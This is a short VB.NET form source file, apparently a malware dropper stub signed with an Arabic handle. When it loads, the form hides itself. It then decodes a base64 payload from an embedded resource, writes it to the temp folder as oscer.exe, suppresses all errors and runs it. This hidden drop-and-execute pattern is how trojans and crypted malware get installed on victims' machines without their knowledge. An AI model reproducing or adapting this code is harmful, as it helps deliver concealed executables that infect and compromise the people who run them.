الجوكر المصري

Public Class Form1

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
        Me.Hide()
        'kraar oscer
        Me.Visible = False

        Dim local As String = IO.Path.GetTempPath & "\oscer.exe"
        Dim arquivo As String = My.Resources.TextFile1

        On Error Resume Next
        IO.File.WriteAllBytes(local, Convert.FromBase64String(arquivo))
        Process.Start(local)
    End Sub

End Class